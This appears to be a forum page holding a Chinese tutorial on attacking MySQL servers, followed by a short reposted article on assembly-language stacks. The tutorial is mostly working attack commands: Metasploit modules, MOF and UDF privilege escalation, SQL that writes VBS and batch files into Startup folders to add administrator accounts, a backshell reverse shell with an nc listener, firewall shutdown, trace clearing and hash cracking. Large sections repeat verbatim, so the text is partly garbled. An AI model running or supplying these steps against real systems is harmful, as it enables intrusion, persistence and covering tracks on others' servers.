        (3)查看FUNCTION中是否存在cmdshell和backshell                    存在则删除:
                    drop FUNCTION cmdshell;//删除cmdshell
                    drop FUNCTION backshell;//删除backshell
                创建backshell:
                    CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
                在具备独立主机的服务器上执行监听:
                    nc -vv -l -p 44444
                执行查询:
                    select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口
    4.获取webshell后添加用户命令
        注意如果不能直接执行,则需要到c:\windows\system32\下执行
            net user antian365 www.xianzhi.aliyun.com /add
            net localgroup administrators antian365
     
    1.4.5    sqlmap直连数据库提权Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:
        (1)连接数据库
                sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
        (2)选择操作系统的架构,32位操作系统选择1,64位选择2.
        (3)自动上传udf或提示os-shell
        (4)执行whomai命令如果获取系统权限,则表示提权成功。         
     
    1.4.5    kali linux下的msfudf提权msfconsole
    use exploit/windows/mysql/mysql_payload
    options
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run 0或者exploit
     
    msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。
    =12pt    1.4.6    启动项提权
    1.创建表并插入vbs脚本到表中,依次使用以下命令:
        show databases ;
        use test;
        show tables;
        create table a (cmd text);
        insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
        insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
        insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );
        select \ from a;
     
    2. 导出vbs脚本到启动
        使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。            select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单
            \\程序\\启动\\a.vbs";
        导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.
        推荐使用以下脚本
            show databases ;
            use test;
            show tables;
            create table b (cmd text);
            insert into b values ("net user Aspnet123545345! /add");
            insert into b values ("net localgroup administrators Aspnet /add");
            insert into b values ("del b.bat");
            select from b into outfile "C:\\Documents and Settings\\All Users\\ 「开始」菜单\\程序\\启动\\b.bat";
        该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件        说明:
            在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:
            select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat";
            Windows 2008 Server的启动目录为:
                C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs
            其vbs方法可以参考如下写法:
                create table a (cmd text);
                insert into a values ("set wshshell= createobject (""wscript.shell"" ) " );
                insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
                insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
                select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
    3.msf下模块exploit/windows/mysql/mysql_start_up提权
        use exploit/windows/mysql/mysql_start_up
        set rhost 192.168.2.1
        set rport 3306
        set username root
        set password 123456
        run
    msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。
     
    1.5    MSF其他相关漏洞提权
    1.Mysql身份认证漏洞及利用(CVE-2012-2122)
        当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
        MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
        MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
    use auxiliary/scanner/mysql/ mysql_authbypass_hashdump
    2.exploit/windows/mysql/mysql_yassl_hello
    3.exploit/windows/mysql/scrutinizer_upload_exec
     1.6    mysql密码破解
    1.6.1    lcain工具破解密码
    使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。
    注意:    
        1. root后面的“”不要复制到字符串中。
        2. 在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。
    安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。 
    1.6.2    网站在线密码破解1. cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。
    2. somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码
     1.6.3    hashcat破解
    hashcat支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令:
        hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型
        hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型
     1.6.4    Join the  Ripper  password cracker
    John the Ripper下载地址: http://www.openwall.com /john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。
        
            Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt
            John –format =mysql-sha1 hashes.txt
            john --list=formats | grep mysql //查看支持mysql密码破解的算法 查看全部
     Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究mysql数据库安全之余,对Mysql如何通过msf、sqlmap等来进行扫描、漏洞利用、提权、Mysql密码破解和获取webshell等进行了详细研究。
     
    1.1 mysql信息收集
            1、端口信息收集
    mysql默认端口是3306端口,但也有自定义端口针对默认端口扫描主要利用扫描软件进行探测,推荐使用:    
        1. iisputter,直接填写3306端口,IP地址填写单个或者C段地址。
        2. nmap扫描nmap -p 3306 192.168.1.1-254
    特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。
      2、版本信息收集
    (1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:
            
            use auxiliary/scanner/mysql/mysql_version
            set rhosts 192.168.157.130
            run
    (2)mysql查询版本命令:            SELECT @@version`、`SELECT version();
    (3)sqlmap通过注入点扫描确认信息:
            sqlmap.py -u url --dbms mysql
    (4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。
      3、数据库管理信息收集
    Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。
      4、msf信息收集模块:
    (1)mysql哈希值枚举
            use auxiliary/scanner/mysql/mysql_hashdump
            set username root
            set password root
            run
    (2)获取相关信息
            use auxiliary/admin/mysql/mysql_enum
            set username root
            set password root
            run
            获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。
    (3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的–sql-shell模块类似。
            use auxiliary/admin/mysql/mysql_sql
    (4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下       
            use auxiliary/scanner/mysql/mysql_schemadump
    (5)文件枚举和目录可写信息枚举
            auxiliary/scanner/mysql/mysql_file_enum
            auxiliary/scanner/mysql/mysql_writable_dirs    没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。
     
    1.2 mysql密码获取
            1.2.1暴力破解
    Mysql暴力破解主要有几种:
        1.网页在线连接破解
            可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载: https://portswigger.net/burp/、 http://pan.baidu.com/s/1c1LD6co
        2.msf通过命令行进行暴力破解
            msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。
            (1)场景A:对内网获取root某一个口令后,扩展渗透
                use auxiliary/scanner/mysql/mysql_login
                set RHOSTS 192.168.157.1-254
                set password root
                set username root
                run
              执行后对192.168.157.1-254进行mysql密码扫描验证。
            (2)场景B:使用密码字典进行扫描           
                    use auxiliary/scanner/mysql/mysql_login
                    set RHOSTS 192.168.157.1-254
                    set pass_file /tmp/password.txt
                    set username root
                    run
        3.使用nmap扫描并破解密码
            (1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描
                nmap --script=mysql-brute 192.168.157.130
                nmap --script=mysql-brute 192.168.157.1-254
            (2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息
                nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130            (3)检查root空口令
                nmap --script mysql-empty-password 192.168.195.130
        4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。
     
    1.2.2源代码泄露1.网站源代码备份文件
        一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。
    2.配置备份文件
        使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。
            1.2.3 文件包含: 本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。
            1.2.4其他情况: 有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。
     1.3 mysql获取webshell
            1.3.1  phpmyadminroot账号获取webshell
       1. 3.2 sqlmap注入点获取webshell
     
    1.4 mysql提权
            1.4.1    mof提权
    1.Webshell上传mof文件提权
        MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
            方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
            方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
            方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
        Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的?WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!
        该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。
            perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
        192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。
    2.生成nullevt.mof文件
        将以下代码保存为nullevt.mof文件:
            #pragma namespace("\\\\.\\root\\subscription")
            instance of __EventFilter as $EventFilter
            {
                EventNamespace = "Root\\Cimv2";
                Name = "filtP2";
                Query = "Select \ From __InstanceModificationEvent "
                "Where TargetInstance Isa \"Win32_LocalTime\" "
                "And TargetInstance.Second = 5";
                QueryLanguage = "WQL";
            };
            instance of ActiveScriptEventConsumer as $Consumer
            {
                Name = "consPCSV2";
                ScriptingEngine = "JScript";
                ScriptText =
                "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
            };
            instance of __FilterToConsumerBinding
            {
                Consumer = $Consumer;
                Filter = $EventFilter;
            };
    3.通过Mysql查询将文件导入
        执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。
        
    selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile
    'c:/windows/system32/wbem/mof/nullevt.mof';
     1.4.2    msf直接mof提权
    Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。
    使用过程:
        use exploit/windows/mysql/mysql_mof
        set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
        set rport 3306 //设置mysql的远程端口
        set password root //设置mysql数据库root密码
        set username root //设置mysql用户名
        options //查看设置
        run 0
    技巧:
        要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。
    方法1:本地登入mysql,更改?mysql数据库里的?user?表里的?host项,将localhost改为%
        use mysql;
        update user set host = '%' where user = 'root';
        FLUSH PRIVILEGES ;
        select host, user from user;
    方法2:直接授权(推荐)
        从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:
            # mysql -u root -proot
            GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
            FLUSH PRIVILEGES;
        推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。
     
    1.4.3    UDF提权UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码
    Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。
    1.UDF提权条件   
        1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
        2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
        3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
        4. 可以将udf.dll写入到相应目录的权限。
    2.提权方法        (1)获取数据库版本、数据位置以及插件位置等信息
                select version();//获取数据库版本
                select user();//获取数据库用户
                select @@basedir ;//获取安装目录
                show variables like '%plugins%'; //寻找mysql安装路径
        (2)导出路径
                C:\Winnt\udf.dll Windows 2000
                C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)
            MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。
            在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:
                select @@basedir; //查找到mysql的目录
                select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 
                5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
                select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 
                5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
            执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
        (3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:
            create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
        (4)执行命令:
            select sys_eval(‘whoami’);
            一般情况下不会出现创建不成功哦。连不上3389可以先停止windows防火墙和筛选
            select sys_eval(‘net stop policyagent’);
            select sys_eval(‘net stop sharedaccess’);
            udf.dll下常见函数:
                cmdshell 执行cmd;
                downloader 下载者,到网上下载指定文件并保存到指定目录;
                open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
                backshell 反弹Shell;
                ProcessView 枚举系统进程;
                KillProcess 终止指定进程;
                regread 读注册表;
                regwrite 写注册表;
                shut 关机,注销,重启;
                about 说明与帮助函数;
            具体用户示例: 
                select cmdshell('net user iis_user 123!@#abcABC /add');
                select cmdshell('net localgroup administrators iis_user /add');
                select cmdshell('regedit /s d:web3389.reg');
                select cmdshell('netstat -an');
        (5)清除痕迹
            drop function cmdshell;//将函数删除
            删除udf.dll文件以及其它相关入侵文件及日志。
        (6)常见错误
            1290 - The MySQL server is running with the --secure-file-priv option so it cannot 
            execute this statement
            在my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE “secure_file_priv”)。
                1123 - Can't initialize function 'backshell';
                UDFs are unavailable with the --skip-grant-tables option
            需要将my.ini中的skip-grant-tables选项去掉。
    3.webshell下udf提权
        通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。
    4.Mysql提权综合利用工具
        v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站: https://github.com/v5est0r/Python_FuckMySQL其主要功能有:  
            (1)自动导出你的backdoor和mof文件
            (2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
            (3)导出LPK.dll文件,劫持系统目录提权
            (4)写启动项提权
        UdF自动提权:
            python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
        LPK劫持提权:
            python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
        启动项提权:
            python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst
        例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权
     1.4.4    无法获取webshell提权
    1.连接mysql
        (1)mysql.exe -h ip -uroot -p
        (2)phpmyadmin
        (3)Navicat for MySQL
    2.查看数据库版本和数据路径
        SELECT VERSION( );
        Select @@datadir;
        5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
        5.1以上版本 通过以下查询来获取插件路径:
        SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
        show variables like '%plugin%' ;
        select load_file('C:/phpStudy/Apache/conf/httpd.conf')
        select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
        select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
        select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
        select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
    3.修改mysql.txt
        Mysql.txt为udf.dll的二进制文件转成十六进制代码。
        (1)先执行导入ghost表中的内容
            修改以下代码的末尾代码 select backshell(“YourIP”,4444);
        (2)导出文件到某个目录
                select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
                select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
                select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
                select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
                select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
                select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
                select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm');
                select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
        (3)查看FUNCTION中是否存在cmdshell和backshell                    存在则删除:
                    drop FUNCTION cmdshell;//删除cmdshell
                    drop FUNCTION backshell;//删除backshell
                创建backshell:
                    CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
                在具备独立主机的服务器上执行监听:
                    nc -vv -l -p 44444
                执行查询:
                    select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口
    4.获取webshell后添加用户命令
        注意如果不能直接执行,则需要到c:\windows\system32\下执行
            net user antian365 www.xianzhi.aliyun.com /add
            net localgroup administrators antian365
     
    1.4.5    sqlmap直连数据库提权Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:
        (1)连接数据库
                sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
        (2)选择操作系统的架构,32位操作系统选择1,64位选择2.
        (3)自动上传udf或提示os-shell
        (4)执行whomai命令如果获取系统权限,则表示提权成功。         
     
    1.4.5    kali linux下的msfudf提权msfconsole
    use exploit/windows/mysql/mysql_payload
    options
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run 0或者exploit
     
    msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。
    =12pt    1.4.6    启动项提权
    1.创建表并插入vbs脚本到表中,依次使用以下命令:
        show databases ;
        use test;
        show tables;
        create table a (cmd text);
        insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
        insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
        insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );
        select \ from a;
     
    2. 导出vbs脚本到启动
        使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。            select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单
            \\程序\\启动\\a.vbs";
        导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.
        推荐使用以下脚本
            show databases ;
            use test;
            show tables;
            create table b (cmd text);
            insert into b values ("net user Aspnet123545345! /add");
            insert into b values ("net localgroup administrators Aspnet /add");
            insert into b values ("del b.bat");
            select from b into outfile "C:\\Documents and Settings\\All Users\\ 「开始」菜单\\程序\\启动\\b.bat";
        该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件        说明:
            在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:
            select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat";
            Windows 2008 Server的启动目录为:
                C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs
            其vbs方法可以参考如下写法:
                create table a (cmd text);
                insert into a values ("set wshshell= createobject (""wscript.shell"" ) " );
                insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
                insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
                select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
    3.msf下模块exploit/windows/mysql/mysql_start_up提权
        use exploit/windows/mysql/mysql_start_up
        set rhost 192.168.2.1
        set rport 3306
        set username root
        set password 123456
        run
    msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。
     
    1.5    MSF其他相关漏洞提权
    1.Mysql身份认证漏洞及利用(CVE-2012-2122)
        当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
        MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
        MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
    use auxiliary/scanner/mysql/ mysql_authbypass_hashdump
    2.exploit/windows/mysql/mysql_yassl_hello
    3.exploit/windows/mysql/scrutinizer_upload_exec
     1.6    mysql密码破解
    1.6.1    lcain工具破解密码
    使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。
    注意:    
        1. root后面的“”不要复制到字符串中。
        2. 在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。
    安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。 
    1.6.2    网站在线密码破解1. cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。
    2. somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码
     1.6.3    hashcat破解
    hashcat支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令:
        hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型
        hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型
     1.6.4    Join the  Ripper  password cracker
    John the Ripper下载地址: http://www.openwall.com /john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。
        
            Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt
            John –format =mysql-sha1 hashes.txt
            john --list=formats | grep mysql //查看支持mysql密码破解的算法

    【转】堆栈和画堆栈图

    snow 发表了文章 • 0 个评论 • 275 次浏览 • 2019-03-17 21:25 • 来自相关话题

           根据咱们学汇编的经验呀,汇编用的最多的是寄存器和内存之间的不断相互传值传地址,井然有序。
           然而,你知道它们具体是怎么进行数据传递和交换的吗?
     
                                                           
                                                                  




           我们知道寄存器能够保存的数据量不多,所以需要存储大量数据的时候就需要保存到内存里面了。
     
             那么:如果我存了一大堆数据,但是我想知道究竟存了多少数据,要怎么办呢?
             如果我想在这对数据里面抽出某一个数据出来使用,要怎么抽呢?
          用完这些数据是继续保存还是丢弃来呢?丢到哪里去呢?
              
                                                                    
                                                                     




                           针对以上种种问题,这里有个完美的解决方案—〉堆栈
                                               
                                                                      




                                         NO.1 首先我们来了解下什么是堆栈
                                                                               
                                                                  




                                       根据百度百科的记载,堆栈的定义如下
     
                                             




           顾名思义,就是在调用程序的时候,电脑会自动开辟一块内存空间专门用来放数据的,然后我们的数据就会想货物一样一个一个往上堆,需要用到的时候就拿出来使用,当程序执行完之后再腾出空间给其他程序继续使用,这个就是堆栈。
                       这里两个概念需要了解下,一个是栈顶,一个是栈底。
                                      栈顶:顾名思义,就是栈道的顶部啦~
                               栈底:顾名思义,就是栈道的底部啦~
                                                              
                                    




              然后呢,通常我们规定使用寄存器里面的EBP寄存器保存一个地址,作为堆栈的栈底,ESP寄存器保存一个地址,作为堆栈的栈顶,用EAX寄存器来保存需要输出的数据。    
          举个例子,可以看到,有个寄存器EBP和ESP所保存的地址如下                        
                 
                                        



                                                
              ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓所以它们在堆栈中是这样的↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓  
                                                                                       
                                                          




                   ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓现在要实现以下功能↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
                              
                                     




    以上的指令含义分别为:1.将立即数“2”压进栈道里,并且栈顶提升4个字节
                                                           2.将立即数“1”压进栈道里,并且栈顶提升4个字节
                                                         3.进入名为“kong”的函数,把地址“0040100F”保存到EIP寄存器     里,并且把00401070(0040106c+0x4)压进栈道,并且栈顶提升4个字节
                                                          4.从函数中出来以后,栈顶esp+8(恢复栈顶)
     
                进入名为“kong”的函数后,需要执行以下的指令:
                                
                                      
                                         




              ↓↓↓↓↓↓↓↓↓↓所以,“准备工作”堆栈图如下↓↓↓↓↓↓↓↓↓↓
                                                           
                                       




      ↓↓↓↓↓↓↓↓↓↓然后,执行完程序之后,堆栈的收尾工作如下↓↓↓↓↓↓↓↓↓↓
                                                                                         
                                                                     




                      
      这篇文章将汇编的堆栈讲的非常详细,对我有非常大的帮助。
     原博地址:https://blog.csdn.net/qq_41884002/article/details/81452889

      查看全部
